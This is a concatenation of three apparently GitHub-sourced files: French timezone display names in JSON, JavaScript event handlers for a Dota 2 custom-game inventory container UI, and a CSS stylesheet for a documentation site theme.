"America\/Louisville": "heure de l’Est nord-américain (Louisville)",
"America\/Lower_Princes": "heure de l’Atlantique (Lower Prince’s Quarter)",
"America\/Maceio": "heure de Brasilia (Maceió)",
"America\/Managua": "heure du centre nord-américain (Managua)",
"America\/Manaus": "heure de l’Amazonie (Manaos)",
"America\/Marigot": "heure de l’Atlantique (Marigot)",
"America\/Martinique": "heure de l’Atlantique (Martinique)",
"America\/Matamoros": "heure du centre nord-américain (Matamoros)",
"America\/Mazatlan": "heure du Pacifique mexicain (Mazatlán)",
"America\/Mendoza": "heure de l’Argentine (Mendoza)",
"America\/Menominee": "heure du centre nord-américain (Menominee)",
"America\/Merida": "heure du centre nord-américain (Mérida)",
"America\/Metlakatla": "heure de l’Alaska (Metlakatla)",
"America\/Mexico_City": "heure du centre nord-américain (Mexico)",
"America\/Miquelon": "heure de Saint-Pierre-et-Miquelon",
"America\/Moncton": "heure de l’Atlantique (Moncton)",
"America\/Monterrey": "heure du centre nord-américain (Monterrey)",
"America\/Montevideo": "heure de l’Uruguay (Montevideo)",
"America\/Montreal": "heure : Canada (Montreal)",
"America\/Montserrat": "heure de l’Atlantique (Montserrat)",
"America\/Nassau": "heure de l’Est nord-américain (Nassau)",
"America\/New_York": "heure de l’Est nord-américain (New York)",
"America\/Nipigon": "heure de l’Est nord-américain (Nipigon)",
"America\/Nome": "heure de l’Alaska (Nome)",
"America\/Noronha": "heure de Fernando de Noronha",
"America\/North_Dakota\/Beulah": "heure du centre nord-américain (Beulah (Dakota du Nord))",
"America\/North_Dakota\/Center": "heure du centre nord-américain (Center (Dakota du Nord))",
"America\/North_Dakota\/New_Salem": "heure du centre nord-américain (New Salem (Dakota du Nord))",
"America\/Ojinaga": "heure des Rocheuses (Ojinaga)",
"America\/Panama": "heure de l’Est nord-américain (Panama)",
"America\/Pangnirtung": "heure de l’Est nord-américain (Pangnirtung)",
"America\/Paramaribo": "heure du Suriname (Paramaribo)",
"America\/Phoenix": "heure des Rocheuses (Phoenix)",
"America\/Port-au-Prince": "heure de l’Est nord-américain (Port-au-Prince)",
"America\/Port_of_Spain": "heure de l’Atlantique (Port-d’Espagne)",
"America\/Porto_Velho": "heure de l’Amazonie (Porto Velho)",
"America\/Puerto_Rico": "heure de l’Atlantique (Porto Rico)",
"America\/Punta_Arenas": "heure du Chili (Punta Arenas)",
"America\/Rainy_River": "heure du centre nord-américain (Rainy River)",
"America\/Rankin_Inlet": "heure du centre nord-américain (Rankin Inlet)",
"America\/Recife": "heure de Brasilia (Recife)",
"America\/Regina": "heure du centre nord-américain (Regina)",
"America\/Resolute": "heure du centre nord-américain (Resolute)",
"America\/Rio_Branco": "heure de l’Acre (Rio Branco)",
"America\/Santa_Isabel": "heure du Nord-Ouest du Mexique (Santa Isabel)",
"America\/Santarem": "heure de Brasilia (Santarém)",
"America\/Santiago": "heure du Chili (Santiago)",
"America\/Santo_Domingo": "heure de l’Atlantique (Saint-Domingue)",
"America\/Sao_Paulo": "heure de Brasilia (São Paulo)",
"America\/Scoresbysund": "heure de l’Est du Groenland (Ittoqqortoormiit)",
"America\/Sitka": "heure de l’Alaska (Sitka)",
"America\/St_Barthelemy": "heure de l’Atlantique (Saint-Barthélemy)",
"America\/St_Johns": "heure de Terre-Neuve (Saint-Jean de Terre-Neuve)",
"America\/St_Kitts": "heure de l’Atlantique (Saint-Christophe)",
"America\/St_Lucia": "heure de l’Atlantique (Sainte-Lucie)",
"America\/St_Thomas": "heure de l’Atlantique (Saint-Thomas)",
"America\/St_Vincent": "heure de l’Atlantique (Saint-Vincent)",
"America\/Swift_Current": "heure du centre nord-américain (Swift Current)",
"America\/Tegucigalpa": "heure du centre nord-américain (Tégucigalpa)",
"America\/Thule": "heure de l’Atlantique (Thulé)",
"America\/Thunder_Bay": "heure de l’Est nord-américain (Thunder Bay)",
"America\/Tijuana": "heure du Pacifique nord-américain (Tijuana)",
"America\/Toronto": "heure de l’Est nord-américain (Toronto)",
"America\/Tortola": "heure de l’Atlantique (Tortola)",
"America\/Vancouver": "heure du Pacifique nord-américain (Vancouver)",
"America\/Whitehorse": "heure du Pacifique nord-américain (Whitehorse)",
"America\/Winnipeg": "heure du centre nord-américain (Winnipeg)",
"America\/Yakutat": "heure de l’Alaska (Yakutat)",
"America\/Yellowknife": "heure des Rocheuses (Yellowknife)",
"Antarctica\/Casey": "heure de l’Ouest de l’Australie (Casey)",
"Antarctica\/Davis": "heure de Davis",
"Antarctica\/DumontDUrville": "heure de Dumont-d’Urville",
"Antarctica\/Macquarie": "heure de l’île Macquarie",
"Antarctica\/Mawson": "heure de Mawson",
"Antarctica\/McMurdo": "heure de la Nouvelle-Zélande (McMurdo)",
"Antarctica\/Palmer": "heure du Chili (Palmer)",
"Antarctica\/Rothera": "heure de Rothera",
"Antarctica\/Syowa": "heure de Syowa (Showa)",
"Antarctica\/Troll": "heure moyenne de Greenwich (Troll)",
"Antarctica\/Vostok": "heure de Vostok",
"Arctic\/Longyearbyen": "heure d’Europe centrale (Longyearbyen)",
"Asia\/Aden": "heure de l’Arabie (Aden)",
"Asia\/Almaty": "heure de l’Est du Kazakhstan (Alma Ata)",
"Asia\/Amman": "heure d’Europe de l’Est (Amman)",
"Asia\/Anadyr": "heure d’Anadyr",
"Asia\/Aqtau": "heure de l’Ouest du Kazakhstan (Aktaou)",
"Asia\/Aqtobe": "heure de l’Ouest du Kazakhstan (Aktioubinsk)",
"Asia\/Ashgabat": "heure du Turkménistan (Achgabat)",
"Asia\/Atyrau": "heure de l’Ouest du Kazakhstan (Atyraou)",
"Asia\/Baghdad": "heure de l’Arabie (Bagdad)",
"Asia\/Bahrain": "heure de l’Arabie (Bahreïn)",
"Asia\/Baku": "heure de l’Azerbaïdjan (Bakou)",
"Asia\/Bangkok": "heure d’Indochine (Bangkok)",
"Asia\/Barnaul": "heure : Russie (Barnaul)",
"Asia\/Beirut": "heure d’Europe de l’Est (Beyrouth)",
"Asia\/Bishkek": "heure du Kirghizistan (Bichkek)",
"Asia\/Brunei": "heure du Brunéi (Brunei)",
"Asia\/Calcutta": "heure de l’Inde (Calcutta)",
"Asia\/Chita": "heure de Iakoutsk (Tchita)",
"Asia\/Choibalsan": "heure d’Oulan-Bator (Tchoïbalsan)",
"Asia\/Colombo": "heure de l’Inde (Colombo)",
"Asia\/Damascus": "heure d’Europe de l’Est (Damas)",
"Asia\/Dhaka": "heure du Bangladesh (Dhaka)",
"Asia\/Dili": "heure du Timor oriental (Dili)",
"Asia\/Dubai": "heure du Golfe (Dubaï)",
"Asia\/Dushanbe": "heure du Tadjikistan (Douchanbé)",
"Asia\/Famagusta": "heure d’Europe de l’Est (Famagouste)",
"Asia\/Gaza": "heure d’Europe de l’Est (Gaza)",
"Asia\/Hebron": "heure d’Europe de l’Est (Hébron)",
"Asia\/Hong_Kong": "heure de Hong Kong",
"Asia\/Hovd": "heure de Hovd",
"Asia\/Irkutsk": "heure d’Irkoutsk",
"Asia\/Jakarta": "heure de l’Ouest indonésien (Jakarta)",
"Asia\/Jayapura": "heure de l’Est indonésien (Jayapura)",
"Asia\/Jerusalem": "heure d’Israël (Jérusalem)",
"Asia\/Kabul": "heure de l’Afghanistan (Kaboul)",
"Asia\/Kamchatka": "heure de Petropavlovsk-Kamchatski (Kamtchatka)",
"Asia\/Karachi": "heure du Pakistan (Karachi)",
"Asia\/Katmandu": "heure du Népal (Katmandou)",
"Asia\/Khandyga": "heure de Iakoutsk (Khandyga)",
"Asia\/Krasnoyarsk": "heure de Krasnoïarsk",
"Asia\/Kuala_Lumpur": "heure de la Malaisie (Kuala Lumpur)",
"Asia\/Kuching": "heure de la Malaisie (Kuching)",
"Asia\/Kuwait": "heure de l’Arabie (Koweït)",
"Asia\/Macau": "heure de la Chine (Macao)",
"Asia\/Magadan": "heure de Magadan",
"Asia\/Makassar": "heure du Centre indonésien (Macassar)",
"Asia\/Manila": "heure des Philippines (Manille)",
"Asia\/Muscat": "heure du Golfe (Mascate)",
"Asia\/Nicosia": "heure d’Europe de l’Est (Nicosie)",
"Asia\/Novokuznetsk": "heure de Krasnoïarsk (Novokuznetsk)",
"Asia\/Novosibirsk": "heure de Novossibirsk",
"Asia\/Omsk": "heure de Omsk",
"Asia\/Oral": "heure de l’Ouest du Kazakhstan (Ouralsk)",
"Asia\/Phnom_Penh": "heure d’Indochine (Phnom Penh)",
"Asia\/Pontianak": "heure de l’Ouest indonésien (Pontianak)",
"Asia\/Pyongyang": "heure de la Corée (Pyongyang)",
"Asia\/Qatar": "heure de l’Arabie (Qatar)",
"Asia\/Qostanay": "heure de l’Est du Kazakhstan (Kostanaï)",
"Asia\/Qyzylorda": "heure de l’Ouest du Kazakhstan (Kzyl Orda)",
"Asia\/Rangoon": "heure du Myanmar (Rangoun)",
"Asia\/Riyadh": "heure de l’Arabie (Riyad)",
"Asia\/Saigon": "heure d’Indochine (Hô-Chi-Minh-Ville)",
"Asia\/Sakhalin": "heure de Sakhaline",
"Asia\/Samarkand": "heure de l’Ouzbékistan (Samarcande)",
"Asia\/Seoul": "heure de la Corée (Séoul)",
"Asia\/Shanghai": "heure de la Chine (Shanghai)",
"Asia\/Singapore": "heure de Singapour",
"Asia\/Srednekolymsk": "heure de Magadan (Srednekolymsk)",
"Asia\/Taipei": "heure de Taipei",
"Asia\/Tashkent": "heure de l’Ouzbékistan (Tachkent)",
"Asia\/Tbilisi": "heure de la Géorgie (Tbilissi)",
"Asia\/Tehran": "heure de l’Iran (Téhéran)",
"Asia\/Thimphu": "heure du Bhoutan (Thimphu)",
"Asia\/Tokyo": "heure du Japon (Tokyo)",
"Asia\/Tomsk": "heure : Russie (Tomsk)",
"Asia\/Ulaanbaatar": "heure d’Oulan-Bator",
"Asia\/Urumqi": "heure : Chine (Ürümqi)",
"Asia\/Ust-Nera": "heure de Vladivostok (Ust-Nera)",
"Asia\/Vientiane": "heure d’Indochine (Vientiane)",
"Asia\/Vladivostok": "heure de Vladivostok",
"Asia\/Yakutsk": "heure de Iakoutsk",
"Asia\/Yekaterinburg": "heure d’Ekaterinbourg",
"Asia\/Yerevan": "heure de l’Arménie (Erevan)",
"Atlantic\/Azores": "heure des Açores",
"Atlantic\/Bermuda": "heure de l’Atlantique (Bermudes)",
"Atlantic\/Canary": "heure d’Europe de l’Ouest (Îles Canaries)",
"Atlantic\/Cape_Verde": "heure du Cap-Vert",
"Atlantic\/Faeroe": "heure d’Europe de l’Ouest (Féroé)",
"Atlantic\/Madeira": "heure d’Europe de l’Ouest (Madère)",
"Atlantic\/Reykjavik": "heure moyenne de Greenwich (Reykjavik)",
"Atlantic\/South_Georgia": "heure de Géorgie du Sud",
"Atlantic\/St_Helena": "heure moyenne de Greenwich (Sainte-Hélène)",
"Atlantic\/Stanley": "heure des îles Malouines (Stanley)",
"Australia\/Adelaide": "heure du centre de l’Australie (Adélaïde)",
"Australia\/Brisbane": "heure de l’Est de l’Australie (Brisbane)",
"Australia\/Broken_Hill": "heure du centre de l’Australie (Broken Hill)",
"Australia\/Currie": "heure de l’Est de l’Australie (Currie)",
"Australia\/Darwin": "heure du centre de l’Australie (Darwin)",
"Australia\/Eucla": "heure du centre-ouest de l’Australie (Eucla)",
"Australia\/Hobart": "heure de l’Est de l’Australie (Hobart)",
"Australia\/Lindeman": "heure de l’Est de l’Australie (Lindeman)",
"Australia\/Lord_Howe": "heure de Lord Howe",
"Australia\/Melbourne": "heure de l’Est de l’Australie (Melbourne)",
"Australia\/Perth": "heure de l’Ouest de l’Australie (Perth)",
"Australia\/Sydney": "heure de l’Est de l’Australie (Sydney)",
"CST6CDT": "heure du centre nord-américain",
"EST5EDT": "heure de l’Est nord-américain",
"Etc\/GMT": "heure moyenne de Greenwich",
"Etc\/UTC": "Temps universel coordonné",
"Europe\/Amsterdam": "heure d’Europe centrale (Amsterdam)",
"Europe\/Andorra": "heure d’Europe centrale (Andorre)",
"Europe\/Astrakhan": "heure de Moscou (Astrakhan)",
"Europe\/Athens": "heure d’Europe de l’Est (Athènes)",
"Europe\/Belgrade": "heure d’Europe centrale (Belgrade)",
"Europe\/Berlin": "heure d’Europe centrale (Berlin)",
"Europe\/Bratislava": "heure d’Europe centrale (Bratislava)",
"Europe\/Brussels": "heure d’Europe centrale (Bruxelles)",
"Europe\/Bucharest": "heure d’Europe de l’Est (Bucarest)",
"Europe\/Budapest": "heure d’Europe centrale (Budapest)",
"Europe\/Busingen": "heure d’Europe centrale (Büsingen)",
"Europe\/Chisinau": "heure d’Europe de l’Est (Chisinau)",
"Europe\/Copenhagen": "heure d’Europe centrale (Copenhague)",
"Europe\/Dublin": "heure moyenne de Greenwich (Dublin)",
"Europe\/Gibraltar": "heure d’Europe centrale (Gibraltar)",
"Europe\/Guernsey": "heure moyenne de Greenwich (Guernesey)",
"Europe\/Helsinki": "heure d’Europe de l’Est (Helsinki)",
"Europe\/Isle_of_Man": "heure moyenne de Greenwich (Île de Man)",
"Europe\/Istanbul": "heure : Turquie (Istanbul)",
"Europe\/Jersey": "heure moyenne de Greenwich (Jersey)",
"Europe\/Kaliningrad": "heure d’Europe de l’Est (Kaliningrad)",
"Europe\/Kiev": "heure d’Europe de l’Est (Kiev)",
"Europe\/Kirov": "heure : Russie (Kirov)",
"Europe\/Lisbon": "heure d’Europe de l’Ouest (Lisbonne)",
"Europe\/Ljubljana": "heure d’Europe centrale (Ljubljana)",
"Europe\/London": "heure moyenne de Greenwich (Londres)",
"Europe\/Luxembourg": "heure d’Europe centrale (Luxembourg)",
"Europe\/Madrid": "heure d’Europe centrale (Madrid)",
"Europe\/Malta": "heure d’Europe centrale (Malte)",
"Europe\/Mariehamn": "heure d’Europe de l’Est (Mariehamn)",
"Europe\/Minsk": "heure de Moscou (Minsk)",
"Europe\/Monaco": "heure d’Europe centrale (Monaco)",
"Europe\/Moscow": "heure de Moscou",
"Europe\/Oslo": "heure d’Europe centrale (Oslo)",
"Europe\/Paris": "heure d’Europe centrale (Paris)",
"Europe\/Podgorica": "heure d’Europe centrale (Podgorica)",
"Europe\/Prague": "heure d’Europe centrale (Prague)",
"Europe\/Riga": "heure d’Europe de l’Est (Riga)",
"Europe\/Rome": "heure d’Europe centrale (Rome)",
"Europe\/Samara": "heure de Samara",
"Europe\/San_Marino": "heure d’Europe centrale (Saint-Marin)",
"Europe\/Sarajevo": "heure d’Europe centrale (Sarajevo)",
"Europe\/Saratov": "heure de Moscou (Saratov)",
"Europe\/Simferopol": "heure de Moscou (Simferopol)",
"Europe\/Skopje": "heure d’Europe centrale (Skopje)",
"Europe\/Sofia": "heure d’Europe de l’Est (Sofia)",
"Europe\/Stockholm": "heure d’Europe centrale (Stockholm)",
"Europe\/Tallinn": "heure d’Europe de l’Est (Tallinn)",
"Europe\/Tirane": "heure d’Europe centrale (Tirana)",
"Europe\/Ulyanovsk": "heure de Moscou (Oulianovsk)",
"Europe\/Uzhgorod": "heure d’Europe de l’Est (Oujgorod)",
"Europe\/Vaduz": "heure d’Europe centrale (Vaduz)",
"Europe\/Vatican": "heure d’Europe centrale (Le Vatican)",
"Europe\/Vienna": "heure d’Europe centrale (Vienne)",
"Europe\/Vilnius": "heure d’Europe de l’Est (Vilnius)",
"Europe\/Volgograd": "heure de Volgograd",
"Europe\/Warsaw": "heure d’Europe centrale (Varsovie)",
"Europe\/Zagreb": "heure d’Europe centrale (Zagreb)",
"Europe\/Zaporozhye": "heure d’Europe de l’Est (Zaporojie)",
"Europe\/Zurich": "heure d’Europe centrale (Zurich)",
"Indian\/Antananarivo": "heure normale d’Afrique de l’Est (Antananarivo)",
"Indian\/Chagos": "heure de l’Océan Indien (Chagos)",
"Indian\/Christmas": "heure de l’île Christmas",
"Indian\/Cocos": "heure des îles Cocos",
"Indian\/Comoro": "heure normale d’Afrique de l’Est (Comores)",
"Indian\/Kerguelen": "heure des Terres australes et antarctiques françaises (Kerguelen)",
"Indian\/Mahe": "heure des Seychelles (Mahé)",
"Indian\/Maldives": "heure des Maldives",
"Indian\/Mauritius": "heure de Maurice",
"Indian\/Mayotte": "heure normale d’Afrique de l’Est (Mayotte)",
"Indian\/Reunion": "heure de La Réunion",
"MST7MDT": "heure des Rocheuses",
"PST8PDT": "heure du Pacifique nord-américain",
"Pacific\/Apia": "heure d’Apia",
"Pacific\/Auckland": "heure de la Nouvelle-Zélande (Auckland)",
"Pacific\/Bougainville": "heure de la Papouasie-Nouvelle-Guinée (Bougainville)",
"Pacific\/Chatham": "heure des îles Chatham",
"Pacific\/Easter": "heure de l’île de Pâques",
"Pacific\/Efate": "heure du Vanuatu (Éfaté)",
"Pacific\/Enderbury": "heure des îles Phoenix (Enderbury)",
"Pacific\/Fakaofo": "heure de Tokelau (Fakaofo)",
"Pacific\/Fiji": "heure des îles Fidji",
"Pacific\/Funafuti": "heure des Tuvalu (Funafuti)",
"Pacific\/Galapagos": "heure des îles Galápagos",
"Pacific\/Gambier": "heure des îles Gambier",
"Pacific\/Guadalcanal": "heure des îles Salomon (Guadalcanal)",
"Pacific\/Guam": "heure des Chamorro (Guam)",
"Pacific\/Honolulu": "heure d’Hawaii - Aléoutiennes (Honolulu)",
"Pacific\/Johnston": "heure d’Hawaii - Aléoutiennes (Johnston)",
"Pacific\/Kiritimati": "heure des îles de la Ligne (Kiritimati)",
"Pacific\/Kosrae": "heure de Kosrae",
"Pacific\/Kwajalein": "heure des îles Marshall (Kwajalein)",
"Pacific\/Majuro": "heure des îles Marshall (Majuro)",
"Pacific\/Marquesas": "heure des îles Marquises",
"Pacific\/Midway": "heure des Samoa (Midway)",
"Pacific\/Nauru": "heure de Nauru",
"Pacific\/Niue": "heure de Nioué (Niue)",
"Pacific\/Norfolk": "heure de l’île Norfolk",
"Pacific\/Noumea": "heure de la Nouvelle-Calédonie (Nouméa)",
"Pacific\/Pago_Pago": "heure des Samoa (Pago Pago)",
"Pacific\/Palau": "heure des Palaos (Palau)",
"Pacific\/Pitcairn": "heure des îles Pitcairn",
"Pacific\/Ponape": "heure de l’île de Pohnpei",
"Pacific\/Port_Moresby": "heure de la Papouasie-Nouvelle-Guinée (Port Moresby)",
"Pacific\/Rarotonga": "heure des îles Cook (Rarotonga)",
"Pacific\/Saipan": "heure des Chamorro (Saipan)",
"Pacific\/Tahiti": "heure de Tahiti",
"Pacific\/Tarawa": "heure des îles Gilbert (Tarawa)",
"Pacific\/Tongatapu": "heure des Tonga (Tongatapu)",
"Pacific\/Truk": "heure de Chuuk",
"Pacific\/Wake": "heure de l’île Wake",
"Pacific\/Wallis": "heure de Wallis-et-Futuna"
},
"Meta": {
"GmtFormat": "UTC%s",
"HourFormatNeg": "−%02d:%02d"
}
}
|
{
"pile_set_name": "Github"
}
|
var Containers = GameUI.CustomUIConfig().Containers;
// Events can be registered in any javascript file you have through GameUI.CustomUIConfig().Containers
// Events should return true to allow for any additional built-in effects to occur
// This includes sending an event to the server and triggering server/lua actions
Containers.RegisterEventHandler("ExampleLeftClick", function(evt){
$.Msg("ExampleLeftClick CALLBACK ACTION in JS");
$.Msg(Object.keys(evt)); //[ PanoramaScript ]: ["unit","containerID","itemID","slot","containerPanel","itemPanel"]
return true;
});
Containers.RegisterEventHandler("ExampleRightClick", function(evt){
$.Msg("RIGHT CLICK CALLBACK ACTION in JS");
$.Msg(Object.keys(evt)); //[ PanoramaScript ]: ["unit","containerID","itemID","slot","containerPanel","itemPanel"]
return true;
});
Containers.RegisterEventHandler("ExampleDoubleClick", function(evt){
$.Msg("ExampleDoubleClick CALLBACK ACTION in JS");
$.Msg(Object.keys(evt)); //[ PanoramaScript ]: ["unit","containerID","itemID","slot","containerPanel","itemPanel","leftClick"]
return true;
});
Containers.RegisterEventHandler("ExampleMouseOver", function(evt){
$.Msg("ExampleMouseOver CALLBACK ACTION in JS");
$.Msg(Object.keys(evt)); //[ PanoramaScript ]: ["unit","containerID","itemID","slot","containerPanel","itemPanel"]
return false;
});
Containers.RegisterEventHandler("ExampleMouseOut", function(evt){
$.Msg("ExampleMouseOut CALLBACK ACTION in JS");
$.Msg(Object.keys(evt)); //[ PanoramaScript ]: ["unit","containerID","itemID","slot","containerPanel","itemPanel"]
return true;
});
Containers.RegisterEventHandler("ExampleCloseClicked", function(evt){
$.Msg("ExampleCloseClicked CALLBACK ACTION in JS");
$.Msg(Object.keys(evt)); //[ PanoramaScript ]: ["unit","containerID","containerPanel"]
return true;
});
Containers.RegisterEventHandler("ExampleButtonPressed", function(evt){
$.Msg("ExampleButtonPressed CALLBACK ACTION in JS");
$.Msg(Object.keys(evt)); //[ PanoramaScript ]: ["unit","containerID","containerPanel","itemPanel","buttonID","buttonName"]
return true;
});
Containers.RegisterEventHandler("DefaultContextMenu", function(evt){
//$.Msg(Object.keys(evt)); //[ PanoramaScript ]: ["unit","containerID","itemID","slot","containerPanel","itemPanel"]
var m_Item = evt.itemID;
$.DispatchEvent( "DOTAHideAbilityTooltip", evt.itemPanel );
var bControllable = Entities.IsControllableByPlayer( evt.unit, Game.GetLocalPlayerID() );
var bSellable = Items.IsSellable( m_Item ) && Items.CanBeSoldByLocalPlayer( m_Item );
var bDisassemble = Items.IsDisassemblable( m_Item ) && bControllable;
var bAlertable = Items.IsAlertableItem( m_Item );
var bShowInShop = Items.IsPurchasable( m_Item );
if (!bSellable && !bDisassemble && !bShowInShop && !bAlertable && !bMoveToStash )
{
return true;
}
var contextMenu = $.CreatePanel( "ContextMenuScript", evt.itemPanel, "" );
contextMenu.AddClass( "ContextMenu_NoArrow" );
contextMenu.AddClass( "ContextMenu_NoBorder" );
contextMenu.GetContentsPanel().Item = m_Item;
contextMenu.GetContentsPanel().SetHasClass( "bSellable", bSellable );
contextMenu.GetContentsPanel().SetHasClass( "bDisassemble", bDisassemble );
contextMenu.GetContentsPanel().SetHasClass( "bShowInShop", bShowInShop );
contextMenu.GetContentsPanel().SetHasClass( "bAlertable", bAlertable );
contextMenu.GetContentsPanel().SetHasClass( "bMoveToStash", false ); // TODO
contextMenu.GetContentsPanel().BLoadLayout( "file://{resources}/layout/custom_game/containers/inventory_context_menu.xml", false, false );
return true;
});
Containers.RegisterEventHandler("SpecialContextMenu", function(evt){
$.DispatchEvent( "DOTAHideAbilityTooltip", evt.itemPanel );
var noMenu = ["item_blade_mail", "item_chainmail", "item_helm_of_iron_will", "item_veil_of_discord",
"item_boots", "item_phase_boots"]
var m_Item = evt.itemID;
var bControllable = Entities.IsControllableByPlayer( evt.unit, Game.GetLocalPlayerID() );
var bSellable = Items.IsSellable( m_Item ) && Items.CanBeSoldByLocalPlayer( m_Item );
var bDisassemble = Items.IsDisassemblable( m_Item ) && bControllable;
var bAlertable = Items.IsAlertableItem( m_Item );
var bShowInShop = Items.IsPurchasable( m_Item );
var name = Abilities.GetAbilityName(m_Item);
if (noMenu.indexOf(name) >= 0 || (!bSellable && !bDisassemble && !bShowInShop && !bAlertable && !bMoveToStash ))
{
return true;
}
var contextMenu = $.CreatePanel( "ContextMenuScript", evt.itemPanel, "" );
contextMenu.AddClass( "ContextMenu_NoArrow" );
contextMenu.AddClass( "ContextMenu_NoBorder" );
contextMenu.GetContentsPanel().Item = m_Item;
contextMenu.GetContentsPanel().Slot = evt.slot;
contextMenu.GetContentsPanel().Container = evt.containerID;
contextMenu.GetContentsPanel().SetHasClass( "bSellable", bSellable );
contextMenu.GetContentsPanel().SetHasClass( "bDisassemble", bDisassemble );
contextMenu.GetContentsPanel().SetHasClass( "bShowInShop", bShowInShop );
contextMenu.GetContentsPanel().SetHasClass( "bAlertable", bAlertable );
contextMenu.GetContentsPanel().SetHasClass( "bMoveToStash", false ); // TODO
contextMenu.GetContentsPanel().BLoadLayout( "file://{resources}/layout/custom_game/containers/inventory_context_menu.xml", false, false );
return true;
});
|
{
"pile_set_name": "Github"
}
|
@charset "UTF-8";
#top-github-link,
#body #breadcrumbs {
position: relative;
top: 50%;
-webkit-transform: translateY(-50%);
-moz-transform: translateY(-50%);
-o-transform: translateY(-50%);
-ms-transform: translateY(-50%);
transform: translateY(-50%);
}
.button,
.button-secondary {
display: inline-block;
padding: 7px 12px;
}
.button:active,
.button-secondary:active {
margin: 2px 0 -2px 0;
}
@font-face {
font-family: 'Novacento Sans Wide';
src: url("../fonts/Novecentosanswide-UltraLight-webfont.eot");
src: url("../fonts/Novecentosanswide-UltraLight-webfont.eot?#iefix") format("embedded-opentype"), url("../fonts/Novecentosanswide-UltraLight-webfont.woff2") format("woff2"), url("../fonts/Novecentosanswide-UltraLight-webfont.woff") format("woff"), url("../fonts/Novecentosanswide-UltraLight-webfont.ttf") format("truetype"), url("../fonts/Novecentosanswide-UltraLight-webfont.svg#novecento_sans_wideultralight") format("svg");
font-style: normal;
font-weight: 200;
}
@font-face {
font-family: 'Work Sans';
font-style: normal;
font-weight: 300;
src: url("../fonts/Work_Sans_300.eot?#iefix") format("embedded-opentype"), url("../fonts/Work_Sans_300.woff") format("woff"), url("../fonts/Work_Sans_300.woff2") format("woff2"), url("../fonts/Work_Sans_300.svg#WorkSans") format("svg"), url("../fonts/Work_Sans_300.ttf") format("truetype");
}
@font-face {
font-family: 'Work Sans';
font-style: normal;
font-weight: 500;
src: url("../fonts/Work_Sans_500.eot?#iefix") format("embedded-opentype"), url("../fonts/Work_Sans_500.woff") format("woff"), url("../fonts/Work_Sans_500.woff2") format("woff2"), url("../fonts/Work_Sans_500.svg#WorkSans") format("svg"), url("../fonts/Work_Sans_500.ttf") format("truetype");
}
body {
background: #fff;
color: #777;
}
body #chapter h1 {
font-size: 3.5rem;
}
@media only all and (min-width: 48em) and (max-width: 59.938em) {
body #chapter h1 {
font-size: 3rem;
}
}
@media only all and (max-width: 47.938em) {
body #chapter h1 {
font-size: 2rem;
}
}
a {
/* color: #00bdf3; */
color: rgba(15, 88, 163, 1);
}
a:hover {
/* color: #0082a7; */
color: #0a4f90;
}
pre {
position: relative;
color: #ffffff;
}
.bg {
background: #fff;
border: 1px solid #eaeaea;
}
b,
strong,
label,
th {
font-weight: 600;
}
.default-animation,
#header #logo-svg,
#header #logo-svg path,
#sidebar,
#sidebar ul,
#body,
#body .padding,
#body .nav {
-webkit-transition: all 0.5s ease;
-moz-transition: all 0.5s ease;
transition: all 0.5s ease;
}
#grav-logo {
max-width: 60%;
}
#grav-logo path {
fill: #fff !important;
}
#sidebar {
font-weight: 300 !important;
}
fieldset {
border: 1px solid #ddd;
}
textarea,
input[type="email"],
input[type="number"],
input[type="password"],
input[type="search"],
input[type="tel"],
input[type="text"],
input[type="url"],
input[type="color"],
input[type="date"],
input[type="datetime"],
input[type="datetime-local"],
input[type="month"],
input[type="time"],
input[type="week"],
select[multiple=multiple] {
background-color: white;
border: 1px solid #ddd;
box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.06);
}
textarea:hover,
input[type="email"]:hover,
input[type="number"]:hover,
input[type="password"]:hover,
input[type="search"]:hover,
input[type="tel"]:hover,
input[type="text"]:hover,
input[type="url"]:hover,
input[type="color"]:hover,
input[type="date"]:hover,
input[type="datetime"]:hover,
input[type="datetime-local"]:hover,
input[type="month"]:hover,
input[type="time"]:hover,
input[type="week"]:hover,
select[multiple=multiple]:hover {
border-color: #c4c4c4;
}
textarea:focus,
input[type="email"]:focus,
input[type="number"]:focus,
input[type="password"]:focus,
input[type="search"]:focus,
input[type="tel"]:focus,
input[type="text"]:focus,
input[type="url"]:focus,
input[type="color"]:focus,
input[type="date"]:focus,
input[type="datetime"]:focus,
input[type="datetime-local"]:focus,
input[type="month"]:focus,
input[type="time"]:focus,
input[type="week"]:focus,
select[multiple=multiple]:focus {
border-color: #00bdf3;
box-shadow: inset 0 1px 3px rgba(0, 0, 0, .06), 0 0 5px rgba(0, 169, 218, .7)
}
#header-wrapper {
background: black;
border-color: black;
text-align: center;
border-bottom: 4px solid black;
padding: 1rem;
}
#header a {
display: inline-block;
}
#header #logo-svg {
width: 8rem;
height: 2rem;
}
#header #logo-svg path {
fill: #fff;
}
.searchbox {
margin-top: 1rem;
position: relative;
border: 1px solid #322A38;
background: #322A38;
border-radius: 4px;
}
.searchbox label {
color: rgba(255, 255, 255, 0.8);
position: absolute;
left: 10px;
top: 3px;
}
.searchbox span {
color: rgba(255, 255, 255, 0.6);
position: absolute;
right: 10px;
top: 3px;
cursor: pointer;
}
.searchbox span:hover {
color: rgba(255, 255, 255, 0.9);
}
.searchbox input {
display: inline-block;
color: #fff;
width: 100%;
height: 30px;
background: transparent;
border: 0;
padding: 0 25px 0 30px;
margin: 0;
font-weight: 300;
}
.searchbox input::-webkit-input-placeholder {
color: rgba(255, 255, 255, 0.6);
}
.searchbox input::-moz-placeholder {
color: rgba(255, 255, 255, 0.6);
}
.searchbox input:-moz-placeholder {
color: rgba(255, 255, 255, 0.6);
}
.searchbox input:-ms-input-placeholder {
color: rgba(255, 255, 255, 0.6);
}
#sidebar-toggle-span {
display: none;
}
@media only all and (max-width: 47.938em) {
#sidebar-toggle-span {
display: inline;
}
}
#sidebar {
/* background-color: #322A38; */
background-color: rgba(2, 30, 62, 0.95);
position: fixed;
top: 0;
width: 300px;
bottom: 0;
left: 0;
font-weight: 400;
font-size: 15px;
}
#sidebar a {
color: #ccc;
}
#sidebar a:hover {
color: #e6e6e6;
}
#sidebar a.subtitle {
color: rgba(204, 204, 204, 0.6);
}
#sidebar hr {
border-bottom: 1px solid #2a232f;
}
#sidebar a.padding {
padding: 0 1rem;
}
#sidebar h5 {
margin: 2rem 0 0;
position: relative;
line-height: 2;
}
#sidebar h5 a {
display: block;
margin-left: 0;
margin-right: 0;
padding-left: 1rem;
padding-right: 1rem;
}
#sidebar h5 i {
color: rgba(204, 204, 204, 0.6);
position: absolute;
right: 0.6rem;
top: 0.7rem;
font-size: 80%;
}
#sidebar h5.parent a {
background: #201b24;
color: #d9d9d9 !important;
}
